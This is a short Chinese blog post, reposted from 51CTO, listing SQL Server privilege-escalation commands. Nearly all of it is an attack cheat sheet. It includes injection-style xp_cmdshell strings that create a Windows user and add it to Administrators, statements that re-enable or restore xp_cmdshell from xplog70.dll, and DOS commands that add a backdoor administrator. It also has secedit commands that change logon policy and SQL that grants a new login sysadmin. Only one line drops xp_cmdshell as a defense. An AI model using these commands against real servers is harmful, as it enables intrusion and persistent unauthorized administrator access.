SQL Server提升权限相关命令及防范

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;exec master..xp_cmdshell "net user name password /add"--

;exec master..xp_cmdshell "net localgroup administrators name /add"--

程序代码开启cmdshell的SQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在

select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

返回结果为1就OK

恢复xp_cmdshell

Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

否则上传xplog7.0.dll

Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'

堵上cmdshell的SQL语句

sp_dropextendedproc "xp_cmdshell"

DOS:

dir c:/

dir d:/

dir e:/

net user TsInternetUsers Password /add

net localGroup Administrators TsInternetUsers /add

备份恢复IPSEC

secedit /export /CFG c:/tmp.inf

echo sedenynetworklogonright =>>c:/tmp.inf

secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf

SQL:

exec master..sp_addlogin UserName,Password

exec master..sp_addsrvrolemember UserName,sysadmin

本文转自loveme2351CTO博客，原文链接：http://blog.51cto.com/loveme23/8400 ，如需转载请自行联系原作者